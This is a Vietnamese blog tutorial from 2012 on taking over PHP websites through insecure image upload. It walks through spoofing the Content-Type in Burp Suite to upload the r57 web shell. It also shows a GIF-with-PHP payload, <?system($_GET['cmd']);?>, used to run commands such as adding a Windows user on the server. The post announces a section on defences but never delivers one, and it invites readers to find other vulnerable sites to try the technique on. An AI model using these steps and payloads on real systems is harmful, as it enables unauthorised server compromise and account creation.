Thứ Bảy, 16 tháng 6, 2012

Kỹ thuật hack web qua upload file PHP

Bài viết do anh tocbatdat, giảng viên bộ môn CEH học viện mạng iPMAC biên soạn



Website thương mại hay các forum đượt phát triển từ PHP cho phép upload hình ảnh … rất dễ bị hacker tấn công qua cách upload những Shell lên và chiếm quyền điều khiển. Trong bài viết này tôi sẽ hướng dẫn các bạn kỹ thuật upload một file PHP chiếm quyền điều khiển máy chủ và cách phòng chống lỗi này đối với các quản trị website.
Lỗ hổng này khi kiểm tra với các Tools scan uy tín như: Acunetix, IBM App Scan.. chỉ ở mức Low có nghĩa là mức độ nguy hiểm thấp nhưng lại có thể chiếm quyền điều khiển web server. Với mục đích quan trọng nhất của bài viết là cho người quản trị web hiểu được các nguy cơ tiềm ẩn, các cách khai thác và phòng vệ ra sao. Bài viết được chia ra các mục
1. Tools cần thiết
2. Kỹ thuật upload file PHP và chiếm quyền điều khiển máy chủ web
3. Kỹ thuật bảo mật cho máy chủ web fix lỗ hổng bảo mật này



I. Các tools cần thiết
- Burpsuite_v1.3
- Java framework
- firefox
- website bị lỗi
- r57vn.php

1. Burpsuite_v1.3
Đây là một Tool viết trên nền Java nên muốn chạy được tools này phải cài Java trước. Tools này làm việc như một web proxy nhưng nó là một intercepting proxy.
Intercepting proxy: là một proxy cho phép điều chỉnh nội dung của gói tin người dùng truyền nên web server. Do đó khi ta sử dụng tools này cho phép thay đổi nội dung yêu cầu từ trình duyệt web gửi lên web server.
Link download: http://www.portswigger.net/suite/burpsuite_v1.3.zip

2. Java
Đây là bộ cài Java cho phép các chương trình java chạy trên máy tính
Link download: http://sun.com

3. firefox
Sử dụng firefox bởi một số kỹ thuật không sử dụng IE được

4. Website bị lỗi
Không khuyến cáo mọi người đi hack các trang web khác. Hacker mũ trắng chỉ hack các trang web được sự cho phép của người chủ quản website. Bài viết này tôi sẽ hack trực tiếp vào trang web của tôi là trang http://tocbatdat.com Trang web phát triển trên nền php và dính lỗ hổng.

5. r57vn.php
Là một Shell cho phép làm nhiều tác vụ trên webserver một cách đơn giản


II. Kỹ thuật upload file PHP và chiếm quyền điều khiển máy chủ web

1. Chuẩn bị
Bước 1: cài đặt Java
Bước 2: Download burpsuite_v1.3 về giải nén ra sẽ thấy file .jar thì dừng lại
Bước 3: Cài đặt firefox
Bước 4: Chuẩn bị trình duyệt IE (sử dụng IE để upload file) bởi cấu hình proxy trên IE đơn giản hơn
Bước 5: Kết nối Internet và truy cập trang web http://tocbatdat.com (trong trường hợp website này tôi đã fix lỗ hổng các bạn có thể kiếm web khác dính lỗ hổng này để demo).

2. Thực hiện Upload file php lên website
a. Kiến thức chung
Hầu hết các trang web hiện nay đều chỉ cho upload một số dạng file nhất định như: jpg, gif, … và không cho phép upload các định dạng file khác vậy chúng ta làm thế nào để upload một file PHP lên website này.
Trước hết chúng ta phải hiểu được website làm thế nào để phát hiện ra file này không phải là các định dạng cho phép có hai cách để website kiểm tra:
+ Kiểm tra định dạng file (dạng này rất thông dụng)
+ Kiểm tra đuôi file (dạng này thì không nhiều)
Ví dụ một đoạn code php để upload và check file:
Code:







Code:<?php if($_FILES['userfile']['type'] != "image/gif") { echo "Sorry, we only allow uploading GIF images"; exit; } $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "File uploading failed.\n"; } ?>


- Đoạn code này cho phép kiểm tra chỉ cho phép upload file định dạng image/gif (content type)  Để vượt qua chúng ta chỉ cần chỉnh sửa content type là có thể upload được
- Có đoạn code cho phép kiểm tra nội dung file để phát hiện file đó có phải là file  Để vượt qua chúng ta tạo ra một file ảnh dạng .gif hay jpg rồi dùng notepad để chỉnh sửa, thêm đoạn code php vào cuối file .gif đó rồi đổi đuôi thành .php. Khi upload file này hệ thống sẽ kiểm tra nội dung và phát hiện đây là file gif là cho upload
b. Thực hiện Phương án 1 – Upload shell
- Cài java
- Chạy chương trình Burpsuite_v1.3 để làm Intercepting Proxy. Nhấn đúp vào file .jar giải nén từ bộ download được



Chạy chương trình Burpsuite



Mặc định chương trình này chỉ làm proxy cho chính máy chạy chương trình, để các máy khác có thể sử dụng chương trình này làm proxy phải  Vào tab proxy  chọn Options rồi có thể Edit tùy biến port sử dụng (mặc định là 8080) bỏ dấu check box “loopback ony”





Vào IE chỉnh proxy vào địa chỉ 127.0.0.1 port 8080. IE  IE options  tab connection nhấn vào nút LAN Settings



Thử vào Internet sau khi đặt proxy (vào trang tocbatdat.com). Đã vào được:



Đăng ký một Account để có thể đăng một bài viết và có hình ảnh. Đối với các forum hay website khác cũng cần đăng ký một acc để có thể đăng bài viết.
Login vào bằng một account rồi đăng một bài lên website
- Phần hình ảnh tôi upload Shell r57vn.php
- Chú ý là chưa nhấn nút hoàn thành để Upload bài mà tôi sẽ chỉnh sửa trong Proxy bật tính năng Intercept On lên để toàn bộ nội dung từ trình duyệt sẽ chuyển vào proxy
- Sau đó tôi sẽ vào proxy chỉnh sửa và forward đi



- Bật Intercept On



- Chuyển sang IE nhấn nút “đăng bán hay đăng bài…) để upload thông tin lên websever. Do đặt proxy nên toàn bộ thông tin sẽ chuyển vào proxy



Vào Proxy kiểm tra chúng ta sẽ thấy thông tin:
- Accept (chỉ cho phép các định dạng – tại dòng thứ 2)
- Content-Type của chúng ta lại là: “text/plain” không lằm trong danh mục được upload nên nếu chúng ta cứ forward đi luôn thì file r57vn.php chắc chắn không upload được.
- Tôi chỉnh lại Content-Type là “image/jpeg” là ok và upload lên thành công



Chỉnh sửa content type thành image/jpeg  Nhấn forward để upload file này lên website



- OK tôi đã upload được file r57vn.php lên web server nhưng bây giờ tôi sẽ vào đâu để chạy file này và chính xác ra là đường dẫn file này là thế nào
- Sử dụng Burpsuite với tính năng “Expand Branch” cho phép bạn MAP toàn bộ website sau đó tôi tìm vào mục Upload sẽ thấy file



- Tôi tìm kiếm trong mục upload có file php nào hay không
- File r57vn.php đã được đổi thành file dvt_126888126926.php (mặc định hầu hết các website sẽ đổi tên file upload)
- Để tìm file vừa upload lên tôi có thể sử dụng tools này hoặc có thể sử dụng các tools scan web khác như Acunetix hoặc IBM App Scan



Giờ tôi chạy file này: đây chính là con Shell r57vn.php tôi đã upload thành công lên máy chủ web. Với shell này tôi có thể làm được khá nhiều tính năng



c. Thực hiện Phương án 2 – Chạy command line trên server
Đối với một số website kiểm tra nội dung của file upload để xem file đó có phải là định dạng được cho phép hay không thì chúng ta có thể lách qua bằng cách.
Bước 1: Dùng Paint tạo ra một file .gif
Bước 2: Dùng notepad mở file .gif này
Bước 3: thêm vào cuối nội dung file câu lệnh: <?system($_GET["cmd"]);?>
Bước 4: Đổi file này thành file .php (sẽ vượt qua được các website check nội dung file)
Bước 5: Dùng kỹ thuật trên Upload file này lên website
Bước 6: Tìm vị trí file (URL của file)
Bước 7: chạy file này bằng cách: http://..../...php?cmd=”câu lệnh trong windows hoặc linux”
Bước 1: Dùng Paint tạo file .gif. Vào paint viết chữ gì cũng dc save as ra dạng file .gif. Tôi Save ra file tobatdat.gif



Bước 2 & 3: Dùng notepad mở file này sau đó thêm vào cuối đoạn mã: <?system($_GET["cmd"]);?> rồi save lại



Bước 4: Đổi file này sang file .php
Bước 5: Sử dụng Intercepting Proxy để upload file này lên webserver



Chúng ta sẽ thấy dữ liệu khi Brower Upload lên server với Content-Type đã trở thành: image/gif bởi đoạn mã kiểm tra nội dung file sẽ phát hiện ra đây là file ảnh. Giờ chúng ta chỉ cần forward đi là OK



Bước 6: Kiểm tra URL. Sau khi Upload file này lên webserver tôi dùng tools Burpsuite để expand branch sẽ phát hiện file mới upload lên



Phát hiện file:



Bước 7: Chạy command line trên máy chủ web
Dùng firefox vào Url này



Chúng ta thử gõ thêm
http://tocbatdat.com/vnss_raovat/upl...10.php?cmd=net user tocbatdat100 yeuemnhieu /add
Và kết quả

Không có nhận xét nào: